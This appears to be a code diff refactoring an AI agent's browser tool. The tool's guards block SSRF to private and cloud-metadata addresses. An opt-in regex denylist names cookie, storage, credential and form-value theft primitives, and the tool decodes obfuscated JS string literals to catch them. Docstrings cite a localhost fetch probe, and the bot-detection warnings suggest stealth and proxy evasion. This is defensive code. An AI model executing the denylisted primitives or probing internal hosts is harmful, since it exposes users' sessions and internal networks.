# Always-blocked floor (cloud metadata / IMDS) is enforced for every - # backend and even when auto_local_this_nav is true — see pre-nav - # check for rationale (#16234). - if ( - final_url - and final_url != url - and _is_always_blocked_url(final_url) - ): - _run_browser_command(nav_session_key, "open", ["about:blank"], timeout=10) - return json.dumps({ - "success": False, - "error": "Blocked: redirect landed on a cloud metadata endpoint", - }) - - if ( - not _is_local_backend() - and not auto_local_this_nav - and not _allow_private_urls() - and final_url and final_url != url and not _is_safe_url(final_url) - ): - # Navigate away to a blank page to prevent snapshot leaks - _run_browser_command(nav_session_key, "open", ["about:blank"], timeout=10) - return json.dumps({ - "success": False, - "error": "Blocked: redirect landed on a private/internal address", - }) - - response = { - "success": True, - "url": final_url, - "title": title - } - # Auditability: stamp navigations that ran on the user's real-profile - # copy-browser so usage is visible in the tool result. - try: - if (session_info.get("features") or {}).get("real_profile"): - response["used_real_profile"] = True - except Exception: - pass - # Remember only a successful, non-blocked navigation as the task owner. - # Failed opens and blocked redirects must not retarget follow-up clicks - # or snapshots to a newly-created but irrelevant session. - _last_active_session_key[effective_task_id] = nav_session_key - _copy_fallback_warning(response, result) - - # Detect common "blocked" page patterns from title/url - blocked_patterns = [ - "access denied", "access to this page has been denied", - "blocked", "bot detected", "verification required", - "please verify", "are you a robot", "captcha", - "cloudflare", "ddos protection", "checking your browser", - "just a moment", "attention required" - ] - title_lower = title.lower() - - if any(pattern in title_lower for pattern in blocked_patterns): - response["bot_detection_warning"] = ( - f"Page title '{title}' suggests bot detection. The site may have blocked this request. " - "Options: 1) Try adding delays between actions, 2) Access different pages first, " - "3) Enable advanced stealth (BROWSERBASE_ADVANCED_STEALTH=true, requires Scale plan), " - "4) Some sites have very aggressive bot detection that may be unavoidable." - ) - - # Include feature info on first navigation so model knows what's active - if is_first_nav and "features" in session_info: - features = session_info["features"] - active_features = [k for k, v in features.items() if v] - if not features.get("proxies"): - response["stealth_warning"] = ( - "Running WITHOUT residential proxies. Bot detection may be more aggressive. " - "Consider upgrading Browserbase plan for proxy support." - ) - response["stealth_features"] = active_features - - # Auto-take a compact snapshot so the model can act immediately - # without a separate browser_snapshot call. - try: - snap_result = _run_browser_command(nav_session_key, "snapshot", ["-c"]) - if snap_result.get("success"): - snap_data = snap_result.get("data", {}) - snapshot_text = snap_data.get("snapshot", "") - refs = snap_data.get("refs", {}) - threshold = get_browser_snapshot_threshold() - if len(snapshot_text) > threshold: - snapshot_text = _truncate_snapshot(snapshot_text, max_chars=threshold) - response["snapshot"] = _redact_browser_output(snapshot_text) - response["element_count"] = len(refs) if refs else 0 - if snap_result.get("fallback_warning") and not response.get("fallback_warning"): - _copy_fallback_warning(response, snap_result) - except Exception as e: - logger.debug("Auto-snapshot after navigate failed: %s", e) - - return json.dumps(response, ensure_ascii=False) - else: + if not result.get("success"): return json.dumps({ "success": False, "error": result.get("error", "Navigation failed") }, ensure_ascii=False) + data = result.get("data", {}) + title = data.get("title", "") + final_url = data.get("url", url) + + blocked = _post_redirect_block(nav_session_key, url, final_url, auto_local_this_nav) + if blocked is not None: + return blocked + + response = { + "success": True, + "url": final_url, + "title": title + } + # Auditability: stamp navigations that ran on the user's real-profile + # copy-browser so usage is visible in the tool result. + try: + if (session_info.get("features") or {}).get("real_profile"): + response["used_real_profile"] = True + except Exception: + pass + # Remember only a successful, non-blocked navigation as the task owner. + # Failed opens and blocked redirects must not retarget follow-up clicks + # or snapshots to a newly-created but irrelevant session. + _last_active_session_key[effective_task_id] = nav_session_key + _copy_fallback_warning(response, result) + + title_lower = title.lower() + if any(pattern in title_lower for pattern in _BOT_DETECTION_TITLE_PATTERNS): + response["bot_detection_warning"] = ( + f"Page title '{title}' suggests bot detection. The site may have blocked this request. " + "Options: 1) Try adding delays between actions, 2) Access different pages first, " + "3) Enable advanced stealth (BROWSERBASE_ADVANCED_STEALTH=true, requires Scale plan), " + "4) Some sites have very aggressive bot detection that may be unavoidable." + ) + + # Include feature info on first navigation so model knows what's active + if is_first_nav and "features" in session_info: + features = session_info["features"] + active_features = [k for k, v in features.items() if v] + if not features.get("proxies"): + response["stealth_warning"] = ( + "Running WITHOUT residential proxies. Bot detection may be more aggressive. " + "Consider upgrading Browserbase plan for proxy support." + ) + response["stealth_features"] = active_features + + _attach_auto_snapshot(response, nav_session_key) + return json.dumps(response, ensure_ascii=False) + def browser_snapshot( full: bool = False, task_id: Optional[str] = None, user_task: Optional[str] = None ) -> str: - """ - Get a text-based snapshot of the current page's accessibility tree. + """Text snapshot of the page's accessibility tree (compact unless ``full``). - Args: - full: If True, return complete snapshot. If False, return compact view. - task_id: Task identifier for session isolation - user_task: Deprecated — accepted for call-site compatibility, unused. - Oversized snapshots always truncate-and-store (no LLM pass). - - Returns: - JSON string with page snapshot + ``user_task`` is deprecated and unused: oversized snapshots always + truncate-and-store (no LLM pass). """ if _is_camofox_mode(): from tools.browser_camofox import camofox_snapshot @@ -4537,35 +3237,9 @@ def browser_snapshot( refs = data.get("refs", {}) # ── Private-network guard: block snapshots from eval-navigated private pages ── - # After any eval (browser_console) that may have changed location.href to a - # private/internal address, the snapshot would expose private page content. - # Re-check the current URL before returning the snapshot. - if ( - not _is_local_backend() - and not _is_local_sidecar_key(effective_task_id) - and not _allow_private_urls() - ): - try: - _url_result = _run_browser_command( - effective_task_id, "eval", ["window.location.href"], - timeout=5, _engine_override="auto", - ) - if _url_result.get("success"): - _current_url = ( - _url_result.get("data", {}).get("result", "") - .strip().strip('"').strip("'") - ) - if _current_url and not _is_safe_url(_current_url): - return json.dumps({ - "success": False, - "error": ( - "Blocked: page URL targets a private or internal address " - f"({_current_url}). This may have been caused by a " - "JavaScript navigation via browser_console." - ), - }, ensure_ascii=False) - except Exception as _url_exc: - logger.debug("browser_snapshot: URL safety check failed (%s)", _url_exc) + blocked = _blocked_private_page_content(effective_task_id) + if blocked is not None: + return blocked # Oversized snapshots truncate at line boundaries; the full # accessibility tree is stored to cache/web and the appended note @@ -4605,17 +3279,22 @@ def browser_snapshot( return json.dumps(_copy_fallback_warning(response, result), ensure_ascii=False) +def _tool_response(result: Dict[str, Any], ok: Dict[str, Any], default_error: str) -> str: + """Standard tool JSON for a ``_run_browser_command`` result. + + Success → ``{"success": True, **ok}``; failure → ``{"success": False, + "error": result.error or default_error}``. Lightpanda fallback metadata + is copied onto either shape. + """ + if result.get("success"): + response = {"success": True, **ok} + else: + response = {"success": False, "error": result.get("error", default_error)} + return json.dumps(_copy_fallback_warning(response, result), ensure_ascii=False) + + def browser_click(ref: str, task_id: Optional[str] = None) -> str: - """ - Click on an element. - - Args: - ref: Element reference (e.g., "@e5") - task_id: Task identifier for session isolation - - Returns: - JSON string with click result - """ + """Click the element ``ref`` (e.g. "@e5").""" if _is_camofox_mode(): from tools.browser_camofox import camofox_click return camofox_click(ref, task_id) @@ -4625,38 +3304,14 @@ def browser_click(ref: str, task_id: Optional[str] = None) -> str: if blocked is not None: return blocked - # Ensure ref starts with @ if not ref.startswith("@"): ref = f"@{ref}" - result = _run_browser_command(effective_task_id, "click", [ref]) - - if result.get("success"): - response = { - "success": True, - "clicked": ref - } - return json.dumps(_copy_fallback_warning(response, result), ensure_ascii=False) - else: - response = { - "success": False, - "error": result.get("error", f"Failed to click {ref}") - } - return json.dumps(_copy_fallback_warning(response, result), ensure_ascii=False) + return _tool_response(result, {"clicked": ref}, f"Failed to click {ref}") def browser_type(ref: str, text: str, task_id: Optional[str] = None) -> str: - """ - Type text into an input field. - - Args: - ref: Element reference (e.g., "@e3") - text: Text to type - task_id: Task identifier for session isolation - - Returns: - JSON string with type result - """ + """Type ``text`` into the element ``ref`` (fill: clears, then types).""" if _is_camofox_mode(): from tools.browser_camofox import camofox_type return camofox_type(ref, text, task_id) @@ -4666,11 +3321,9 @@ def browser_type(ref: str, text: str, task_id: Optional[str] = None) -> str: if blocked is not None: return blocked - # Ensure ref starts with @ if not ref.startswith("@"): ref = f"@{ref}" - - # Use fill command (clears then types) + # fill clears then types result = _run_browser_command(effective_task_id, "fill", [ref, text]) from agent.display import ( @@ -4678,52 +3331,28 @@ def browser_type(ref: str, text: str, task_id: Optional[str] = None) -> str: redact_tool_args_for_display, ) + # Typed text goes through the secret-pattern redactor so API keys / tokens + # don't leak into tool progress or chat history (the raw value was already + # sent to the browser above); normal text passes through unchanged. display_text = (redact_tool_args_for_display("browser_type", {"text": text}) or {})["text"] - if result.get("success"): - response = { - "success": True, - # Run typed text through the secret-pattern redactor so API keys / - # tokens don't leak into tool progress or chat history. Normal - # text passes through unchanged. The raw value was already sent - # to the browser command above. - "typed": display_text, - "element": ref - } - response = _copy_fallback_warning(response, result) - response = redact_browser_typed_text_for_display(response, text) - return json.dumps(response, ensure_ascii=False) + response = {"success": True, "typed": display_text, "element": ref} else: - response = { - "success": False, - "error": result.get("error", f"Failed to type into {ref}") - } - response = _copy_fallback_warning(response, result) - response = redact_browser_typed_text_for_display(response, text) - return json.dumps(response, ensure_ascii=False) + response = {"success": False, "error": result.get("error", f"Failed to type into {ref}")} + response = _copy_fallback_warning(response, result) + response = redact_browser_typed_text_for_display(response, text) + return json.dumps(response, ensure_ascii=False) def browser_scroll(direction: str, task_id: Optional[str] = None) -> str: - """ - Scroll the page. - - Args: - direction: "up" or "down" - task_id: Task identifier for session isolation - - Returns: - JSON string with scroll result - """ - # Validate direction + """Scroll the page ``direction`` ("up"/"down") by about half a viewport.""" if direction not in {"up", "down"}: return json.dumps({ "success": False, "error": f"Invalid direction '{direction}'. Use 'up' or 'down'." }, ensure_ascii=False) - # Single scroll with pixel amount instead of 5x subprocess calls. - # agent-browser supports: agent-browser scroll down 500 - # ~500px is roughly half a viewport of travel. + # Single scroll with a pixel amount (~half a viewport) instead of 5x subprocess calls. _SCROLL_PIXELS = 500 if _is_camofox_mode(): @@ -4736,32 +3365,12 @@ def browser_scroll(direction: str, task_id: Optional[str] = None) -> str: return result effective_task_id = _last_session_key(task_id or "default") - result = _run_browser_command(effective_task_id, "scroll", [direction, str(_SCROLL_PIXELS)]) - if not result.get("success"): - response = { - "success": False, - "error": result.get("error", f"Failed to scroll {direction}") - } - return json.dumps(_copy_fallback_warning(response, result), ensure_ascii=False) - - response = { - "success": True, - "scrolled": direction - } - return json.dumps(_copy_fallback_warning(response, result), ensure_ascii=False) + return _tool_response(result, {"scrolled": direction}, f"Failed to scroll {direction}") def browser_back(task_id: Optional[str] = None) -> str: - """ - Navigate back in browser history. - - Args: - task_id: Task identifier for session isolation - - Returns: - JSON string with navigation result - """ + """Navigate back in browser history.""" if _is_camofox_mode(): from tools.browser_camofox import camofox_back return camofox_back(task_id) @@ -4769,51 +3378,26 @@ def browser_back(task_id: Optional[str] = None) -> str: effective_task_id = _last_session_key(task_id or "default") result = _run_browser_command(effective_task_id, "back", []) - if result.get("success"): - # Browser history can land on a private/internal/cloud-metadata - # address that the browser_navigate preflight never saw (e.g. a - # redirect chain from an earlier legitimate navigation touched an - # internal host, or client-side history was otherwise manipulated). - # Re-check post-navigation, matching every other content-returning - # entry point (browser_snapshot/vision/console/eval, and click/type/ - # press via _blocked_private_page_action) — the floor must fire for - # every backend, not just the initial navigate. - if _eval_ssrf_guard_active(effective_task_id): - _blocked_url = _current_page_private_url(effective_task_id) - if _blocked_url: - return json.dumps({ - "success": False, - "error": ( - "Blocked: page URL targets a private or internal address " - f"({_blocked_url}). Browser history navigation (back) " - "landed on this address." - ), - }, ensure_ascii=False) - data = result.get("data", {}) - response = { - "success": True, - "url": data.get("url", "") - } - return json.dumps(_copy_fallback_warning(response, result), ensure_ascii=False) - else: - response = { - "success": False, - "error": result.get("error", "Failed to go back") - } - return json.dumps(_copy_fallback_warning(response, result), ensure_ascii=False) + if result.get("success") and _eval_ssrf_guard_active(effective_task_id): + # History can land on a private/internal/cloud-metadata address the + # navigate preflight never saw (earlier redirect chain, manipulated + # client-side history). Re-check post-navigation like every other + # content-returning entry point — the floor fires for every backend. + _blocked_url = _current_page_private_url(effective_task_id) + if _blocked_url: + return json.dumps({ + "success": False, + "error": ( + "Blocked: page URL targets a private or internal address " + f"({_blocked_url}). Browser history navigation (back) " + "landed on this address." + ), + }, ensure_ascii=False) + return _tool_response(result, {"url": result.get("data", {}).get("url", "")}, "Failed to go back") def browser_press(key: str, task_id: Optional[str] = None) -> str: - """ - Press a keyboard key. - - Args: - key: Key to press (e.g., "Enter", "Tab") - task_id: Task identifier for session isolation - - Returns: - JSON string with key press result - """ + """Press a keyboard key (e.g. "Enter", "Tab").""" if _is_camofox_mode(): from tools.browser_camofox import camofox_press return camofox_press(key, task_id) @@ -4823,19 +3407,7 @@ def browser_press(key: str, task_id: Optional[str] = None) -> str: if blocked is not None: return blocked result = _run_browser_command(effective_task_id, "press", [key]) - - if result.get("success"): - response = { - "success": True, - "pressed": key - } - return json.dumps(_copy_fallback_warning(response, result), ensure_ascii=False) - else: - response = { - "success": False, - "error": result.get("error", f"Failed to press {key}") - } - return json.dumps(_copy_fallback_warning(response, result), ensure_ascii=False) + return _tool_response(result, {"pressed": key}, f"Failed to press {key}") def _blocked_private_page_action(effective_task_id: str, action: str) -> Optional[str]: @@ -4855,21 +3427,35 @@ def _blocked_private_page_action(effective_task_id: str, action: str) -> Optiona }, ensure_ascii=False) -def browser_console(clear: bool = False, expression: Optional[str] = None, task_id: Optional[str] = None) -> str: - """Get browser console messages and JavaScript errors, or evaluate JS in the page. +def _blocked_private_page_json(blocked_url: str) -> str: + """Blocked payload for content-returning tools whose page was eval-navigated private.""" + return json.dumps({ + "success": False, + "error": ( + "Blocked: page URL targets a private or internal address " + f"({blocked_url}). This may have been caused by a " + "JavaScript navigation via browser_console." + ), + }, ensure_ascii=False) - When ``expression`` is provided, evaluates JavaScript in the page context - (like the DevTools console) and returns the result. Otherwise returns - console output (log/warn/error/info) and uncaught exceptions. - Args: - clear: If True, clear the message/error buffers after reading - expression: JavaScript expression to evaluate in the page context - task_id: Task identifier for session isolation +def _blocked_private_page_content(effective_task_id: str) -> Optional[str]: + """Blocked payload when the SSRF guard is active and the current page is private, else None. - Returns: - JSON string with console messages/errors, or eval result + Sibling of the snapshot/vision/eval/get_images guards: after any eval that + may have changed ``location.href`` to a private address, returning page + content would expose it. Fail-open on probe failure (see + ``_current_page_private_url``). """ + if not _eval_ssrf_guard_active(effective_task_id): + return None + blocked_url = _current_page_private_url(effective_task_id) + return _blocked_private_page_json(blocked_url) if blocked_url else None + + +def browser_console(clear: bool = False, expression: Optional[str] = None, task_id: Optional[str] = None) -> str: + """Console messages + uncaught JS errors (optionally ``clear``ing the buffers), + or — when ``expression`` is given — evaluate JS in the page like the DevTools console.""" # --- JS evaluation mode --- if expression is not None: policy_error = _enforce_browser_eval_policy(expression) @@ -4884,17 +3470,9 @@ def browser_console(clear: bool = False, expression: Optional[str] = None, task_ effective_task_id = _last_session_key(task_id or "default") - if _eval_ssrf_guard_active(effective_task_id): - _blocked_url = _current_page_private_url(effective_task_id) - if _blocked_url: - return json.dumps({ - "success": False, - "error": ( - "Blocked: page URL targets a private or internal address " - f"({_blocked_url}). This may have been caused by a " - "JavaScript navigation via browser_console." - ), - }, ensure_ascii=False) + blocked = _blocked_private_page_content(effective_task_id) + if blocked is not None: + return blocked console_args = ["--clear"] if clear else [] error_args = ["--clear"] if clear else [] @@ -4932,229 +3510,107 @@ def browser_console(clear: bool = False, expression: Optional[str] = None, task_ return json.dumps(response, ensure_ascii=False) -def _eval_ssrf_guard_active(effective_task_id: str) -> bool: - """Return True when eval-driven private-network access must be guarded. - - Matches the gating used by ``browser_navigate`` / ``browser_snapshot`` / - ``browser_vision``: the SSRF guard is only meaningful for non-local - backends (cloud browser, or a containerized terminal whose browser-on-host - can reach internal networks the terminal can't), and is skipped for local - sidecar sessions and when ``allow_private_urls`` is set. - """ - return ( - not _is_local_backend() - and not _is_local_sidecar_key(effective_task_id) - and not _allow_private_urls() - ) +from tools.browser_tool_eval_policy import ( # noqa: F401 + _eval_ssrf_guard_active, + _JS_URL_LITERAL_RE, + _expression_targets_private_url, + _current_page_private_url, + _RISKY_BROWSER_EVAL_PATTERNS, + _JS_STRING_LITERAL_RE, + _SENSITIVE_BROWSER_EVAL_TOKENS, + _allow_unsafe_browser_evaluate, + _restrict_browser_evaluate, + _decode_js_string_literal, + _decoded_js_string_literals, + _sensitive_browser_eval_token_reason, + _risky_browser_eval_reason, + _enforce_browser_eval_policy, + _camofox_current_page_private_url, +) -# URL-shaped literals embedded in a JS expression (http/https only). Used to -# pre-screen ``browser_console(expression=...)`` calls that fetch/XHR/navigate -# to a private host directly — that path never updates ``location.href`` so the -# post-eval page-URL recheck below can't see it. -_JS_URL_LITERAL_RE = re.compile(r"""https?://[^\s'"`)\]<>]+""", re.IGNORECASE) +def _parse_eval_value(raw_result: Any) -> Any: + """Eval returns the JS value as a string; parse valid JSON so the model gets structured data.""" + if isinstance(raw_result, str): + try: + return json.loads(raw_result) + except (json.JSONDecodeError, ValueError): + pass # keep as string + return raw_result -def _expression_targets_private_url(expression: str) -> Optional[str]: - """Return the first private/always-blocked URL literal in a JS expression. +def _eval_supervisor_fast_path(effective_task_id: str, expression: str) -> Optional[str]: + """Run ``Runtime.evaluate`` on the CDP supervisor's persistent WebSocket. - Best-effort: scans for ``http(s)://...`` literals (fetch/XHR/navigation - targets the agent may have embedded) and returns the first one that targets - a private/internal address or the always-blocked cloud-metadata floor. - Returns ``None`` when no such literal is found. - """ - if not isinstance(expression, str): - return None - for match in _JS_URL_LITERAL_RE.findall(expression): - candidate = match.rstrip(".,;") - if _is_always_blocked_url(candidate) or not _is_safe_url(candidate): - return candidate - return None - - -def _current_page_private_url(effective_task_id: str) -> Optional[str]: - """Return the current page URL when it targets a private/internal address. - - Reads ``window.location.href`` via a low-cost eval and returns it when the - page has been navigated (e.g. via ``location.href = '...'`` in a prior - eval) to an address the SSRF guard would reject. Returns ``None`` when the - page is public, the URL can't be determined, or the check errors (fail-open - on probe failure, matching the snapshot/vision guards). + Zero subprocess startup cost vs spawning ``agent-browser eval``. Returns a + tool JSON string when the supervisor produced a definitive answer (a value, + a blocked private page, or a real JS-side exception — which is NOT retried + through the subprocess, that would just reproduce it slower), or None to + fall through to the subprocess path (no supervisor, supervisor-side failure, + import error), so behaviour is unchanged when no supervisor is running. """ try: - url_result = _run_browser_command( - effective_task_id, "eval", ["window.location.href"], - timeout=5, _engine_override="auto", + from tools.browser_supervisor import SUPERVISOR_REGISTRY # type: ignore[import-not-found] + supervisor = SUPERVISOR_REGISTRY.get(effective_task_id) + if supervisor is None: + return None + sup_result = supervisor.evaluate_runtime(expression) + if sup_result.get("ok"): + parsed = _parse_eval_value(sup_result.get("result")) + # Post-eval page-URL recheck: if this (or a prior) eval navigated + # the page to a private address, withhold the result. + blocked = _blocked_private_page_content(effective_task_id) + if blocked is not None: + return blocked + response = { + "success": True, + "result": _redact_browser_output(parsed), + "result_type": type(parsed).__name__, + "method": "cdp_supervisor", + } + return json.dumps(response, ensure_ascii=False, default=str) + err = sup_result.get("error") or "evaluate_runtime failed" + if "supervisor" not in err.lower(): + return json.dumps({"success": False, "error": err}, ensure_ascii=False) + logger.debug( + "browser_eval: supervisor path unavailable (%s), falling back to subprocess", + err, ) - if url_result.get("success"): - current_url = ( - url_result.get("data", {}).get("result", "") - .strip().strip('"').strip("'") - ) - if current_url and ( - _is_always_blocked_url(current_url) or not _is_safe_url(current_url) - ): - return current_url - except Exception as exc: - logger.debug("_current_page_private_url: probe failed (%s)", exc) + except ImportError: + pass + except Exception as exc: # pragma: no cover — defensive + logger.debug("browser_eval: supervisor path errored (%s), falling back", exc) return None -_RISKY_BROWSER_EVAL_PATTERNS: tuple[tuple[re.Pattern[str], str], ...] = ( - (re.compile(r"\bdocument\s*\.\s*cookie\b", re.I), "document.cookie"), - (re.compile(r"\b(?:localStorage|sessionStorage)\b", re.I), "web storage"), - (re.compile(r"\bindexedDB\b", re.I), "IndexedDB"), - (re.compile(r"\bcaches\s*\.\s*(?:open|match|keys)\b", re.I), "Cache Storage"), - (re.compile(r"\bnavigator\s*\.\s*(?:clipboard|credentials|serviceWorker)\b", re.I), "navigator sensitive API"), - (re.compile(r"\b(?:fetch|XMLHttpRequest|WebSocket|EventSource)\s*\(", re.I), "network request"), - (re.compile(r"\bnavigator\s*\.\s*sendBeacon\s*\(", re.I), "network beacon"), - (re.compile(r"\bdocument\s*\.\s*forms\b.*\bvalue\b", re.I | re.S), "form value extraction"), - (re.compile(r"\bquerySelector(?:All)?\s*\([^)]*(?:input|textarea|password)[^)]*\).*\bvalue\b", re.I | re.S), "form value extraction"), -) -_JS_STRING_LITERAL_RE = re.compile( - r"""'(?:\\.|[^'\\])*'|\"(?:\\.|[^\"\\])*\"|`(?:\\.|[^`\\])*`""", - re.S, -) -_SENSITIVE_BROWSER_EVAL_TOKENS: tuple[tuple[str, str], ...] = ( - ("cookie", "document.cookie"), - ("localStorage", "web storage"), - ("sessionStorage", "web storage"), - ("indexedDB", "IndexedDB"), - ("caches", "Cache Storage"), - ("clipboard", "navigator sensitive API"), - ("credentials", "navigator sensitive API"), - ("serviceWorker", "navigator sensitive API"), - ("fetch", "network request"), - ("XMLHttpRequest", "network request"), - ("WebSocket", "network request"), - ("EventSource", "network request"), - ("sendBeacon", "network beacon"), -) - - -def _allow_unsafe_browser_evaluate() -> bool: - """Return whether sensitive browser JS evaluation is explicitly allowed. - - When true, ``browser_console(expression=...)`` runs without the - sensitive-primitive denylist even if ``browser.restrict_evaluate`` is set. - """ - try: - from hermes_cli.config import read_raw_config - - cfg = read_raw_config() - return is_truthy_value(cfg_get(cfg, "browser", "allow_unsafe_evaluate"), default=False) - except Exception as e: - logger.debug("Could not read browser.allow_unsafe_evaluate from config: %s", e) - return False - - -def _restrict_browser_evaluate() -> bool: - """Return whether the sensitive-primitive eval denylist is enabled. - - Off by default. ``browser_console(expression=...)`` is the agent's only - programmatic page-inspection path, and the denylist blocks the *names* of - common primitives (``fetch``, ``cookie``, ``querySelector(...input...)``) - rather than any actual exfiltration — which also blocks a large class of - legitimate DOM extraction (any selector or page script text containing - those words). Egress itself is still gated by the SSRF/private-URL guards - in ``_browser_eval`` regardless of this setting. Users who want the - strict vocabulary denylist (e.g. when browsing hostile pages with a - logged-in profile) opt in with ``browser.restrict_evaluate: true``; - ``browser.allow_unsafe_evaluate: true`` overrides it back off. - """ - try: - from hermes_cli.config import read_raw_config - - cfg = read_raw_config() - return is_truthy_value(cfg_get(cfg, "browser", "restrict_evaluate"), default=False) - except Exception as e: - logger.debug("Could not read browser.restrict_evaluate from config: %s", e) - return False - - -def _decode_js_string_literal(literal: str) -> str: - """Best-effort decode of a JavaScript string literal for policy checks. - - This is not a JS parser. It only normalizes common escaped property names - such as ``document["co\\x6fkie"]`` before the fail-closed sensitive-token - check below. - """ - if len(literal) < 2: - return literal - body = literal[1:-1] - try: - return bytes(body, "utf-8").decode("unicode_escape") - except Exception: - return body - - -def _decoded_js_string_literals(expression: str) -> list[str]: - return [_decode_js_string_literal(match.group(0)) for match in _JS_STRING_LITERAL_RE.finditer(expression)] - - -def _sensitive_browser_eval_token_reason(expression: str) -> Optional[str]: - """Return a risk reason for direct or quoted sensitive browser primitives. - - ``browser_console(expression=...)`` executes in the page origin. A denylist - that only searches direct spellings like ``document.cookie`` and ``fetch(`` - misses equivalent JavaScript property access such as ``document["cookie"]`` - or ``globalThis["fetch"](...)``. Treat sensitive primitive names as risky - whether they appear as identifiers or decoded string-literal property names. - Concatenating all string literals catches simple obfuscations like - ``document["coo" + "kie"]`` while the config opt-in preserves the escape - hatch for trusted pages. - """ - string_literals = _decoded_js_string_literals(expression) - concatenated_literals = "".join(string_literals).lower() - for token, reason in _SENSITIVE_BROWSER_EVAL_TOKENS: - if re.search(rf"\b{re.escape(token)}\b", expression, re.I): - return reason - token_lower = token.lower() - if any(token_lower in literal.lower() for literal in string_literals): - return reason - if token_lower in concatenated_literals: - return reason - return None - - -def _risky_browser_eval_reason(expression: str) -> Optional[str]: - """Return a human-readable reason if a JS expression uses risky primitives.""" - if not expression: - return None - for pattern, reason in _RISKY_BROWSER_EVAL_PATTERNS: - if pattern.search(expression): - return reason - return _sensitive_browser_eval_token_reason(expression) - - -def _enforce_browser_eval_policy(expression: str) -> Optional[str]: - """Block sensitive browser JS evaluation when the opt-in denylist is on. - - The denylist is opt-in (``browser.restrict_evaluate: true``) because it - gates on primitive *names*, which cripples legitimate DOM extraction — - see ``_restrict_browser_evaluate``. Network egress to private/internal - addresses is enforced separately in ``_browser_eval`` and does not depend - on this policy. - """ - if not _restrict_browser_evaluate(): - return None - if _allow_unsafe_browser_evaluate(): - return None - reason = _risky_browser_eval_reason(expression) - if not reason: - return None - return ( - "Blocked: browser_console(expression=...) tried to use sensitive browser " - f"JavaScript primitive ({reason}) while browser.restrict_evaluate is " - "enabled. Use browser_snapshot/browser_get_images/browser_console " - "without expression for normal inspection, or set " - "browser.restrict_evaluate: false in config.yaml to allow " - "programmatic evaluation." - ) +def _eval_failure_response(result: Dict[str, Any]) -> str: + """Tool JSON for a failed ``agent-browser eval``, with actionable rewrites of known errors.""" + err = result.get("error", "eval failed") + if any(hint in err.lower() for hint in ("unknown command", "not supported", "not found", "no such command")): + # Backend capability gap — give the model a clear signal. + err = f"JavaScript evaluation is not supported by this browser backend. {err}" + elif "reference chain is too long" in err.lower(): + # A live DOM node / NodeList / Window can't be JSON-serialized by CDP. + # The supervisor fast path retries with returnByValue=false; the CLI + # subprocess can't, so replace the cryptic protocol error with guidance. + err = ( + "Expression returned a live DOM node / NodeList / Window, " + "which can't be serialized. Extract a primitive value " + "(e.g. .innerText, .href, .src, .value) or use " + "JSON.stringify() / a snapshot tool instead." + ) + return json.dumps(_copy_fallback_warning({"success": False, "error": err}, result)) def _browser_eval(expression: str, task_id: Optional[str] = None) -> str: - """Evaluate a JavaScript expression in the page context and return the result.""" + """Evaluate a JavaScript expression in the page context and return the result. + + Private-network guard, both sub-paths gated on the same condition: the + literal pre-scan closes direct fetches (``fetch('http://127.0.0.1/...')``, + which never update ``location.href``); the post-eval page-URL recheck + closes navigate-then-read (``location.href = ...`` then read the DOM) — + eval returns arbitrary JS results directly, never via snapshot/vision. + """ effective_task_id = _last_session_key(task_id or "default") if _eval_ssrf_guard_active(effective_task_id): @@ -5176,164 +3632,27 @@ def _browser_eval(expression: str, task_id: Optional[str] = None) -> str: if _is_camofox_mode(): return _camofox_eval(expression, task_id) - # ── Private-network guard (eval return-value path) ────────────────────── - # The literal pre-scan above closes the direct-fetch sub-path - # (`fetch('http://127.0.0.1/secret')`). The post-eval page-URL recheck - # below closes the navigate-then-read sub-path (`location.href = '...'` - # then read the DOM) — eval returns arbitrary JS results directly, never - # touching snapshot/vision, so both sub-paths gate on the same condition. + fast = _eval_supervisor_fast_path(effective_task_id, expression) + if fast is not None: + return fast - # --- Fast path: route through the supervisor's persistent CDP WS --------- - # When a CDPSupervisor is alive for this task_id, ``Runtime.evaluate`` runs - # on the already-connected WebSocket — zero subprocess startup cost vs - # spawning an ``agent-browser eval`` CLI process. Falls through to the - # subprocess path on any error so behaviour is unchanged when no - # supervisor is running (e.g. plain agent-browser without a CDP backend). - try: - from tools.browser_supervisor import SUPERVISOR_REGISTRY # type: ignore[import-not-found] - supervisor = SUPERVISOR_REGISTRY.get(effective_task_id) - if supervisor is not None: - sup_result = supervisor.evaluate_runtime(expression) - if sup_result.get("ok"): - raw_result = sup_result.get("result") - # Match the agent-browser path: if the value is a JSON string, - # parse it so the model gets structured data. - parsed = raw_result - if isinstance(raw_result, str): - try: - parsed = json.loads(raw_result) - except (json.JSONDecodeError, ValueError): - pass # keep as string - # Post-eval page-URL recheck: if this (or a prior) eval - # navigated the page to a private address, withhold the result. - if _eval_ssrf_guard_active(effective_task_id): - _blocked_url = _current_page_private_url(effective_task_id) - if _blocked_url: - return json.dumps({ - "success": False, - "error": ( - "Blocked: page URL targets a private or internal " - f"address ({_blocked_url}). This may have been " - "caused by a JavaScript navigation via " - "browser_console." - ), - }, ensure_ascii=False) - response = { - "success": True, - "result": _redact_browser_output(parsed), - "result_type": type(parsed).__name__, - "method": "cdp_supervisor", - } - return json.dumps(response, ensure_ascii=False, default=str) - # JS exception is a real failure — surface it instead of falling - # through to the subprocess path (which would just re-run and - # produce the same exception, but slower). - err = sup_result.get("error") or "evaluate_runtime failed" - if "supervisor" not in err.lower(): - # Real JS-side error — return it. - return json.dumps({"success": False, "error": err}, ensure_ascii=False) - # Supervisor-side failure (loop down, no session) — fall through. - logger.debug( - "browser_eval: supervisor path unavailable (%s), falling back to subprocess", - err, - ) - except ImportError: - pass - except Exception as exc: # pragma: no cover — defensive - logger.debug("browser_eval: supervisor path errored (%s), falling back", exc) - - # --- Fallback: agent-browser CLI subprocess (original path) ------------- result = _run_browser_command(effective_task_id, "eval", [expression]) - if not result.get("success"): - err = result.get("error", "eval failed") - # Detect backend capability gaps and give the model a clear signal - if any(hint in err.lower() for hint in ("unknown command", "not supported", "not found", "no such command")): - response = { - "success": False, - "error": f"JavaScript evaluation is not supported by this browser backend. {err}", - } - return json.dumps(_copy_fallback_warning(response, result)) - # A live DOM node / NodeList / Window can't be JSON-serialized by CDP - # and fails the eval with "Object reference chain is too long". The - # supervisor fast path retries with returnByValue=false, but the CLI - # subprocess can't, so turn the cryptic protocol error into actionable - # guidance instead of surfacing it raw. - if "reference chain is too long" in err.lower(): - response = { - "success": False, - "error": ( - "Expression returned a live DOM node / NodeList / Window, " - "which can't be serialized. Extract a primitive value " - "(e.g. .innerText, .href, .src, .value) or use " - "JSON.stringify() / a snapshot tool instead." - ), - } - return json.dumps(_copy_fallback_warning(response, result)) - response = { - "success": False, - "error": err, - } - return json.dumps(_copy_fallback_warning(response, result)) - - 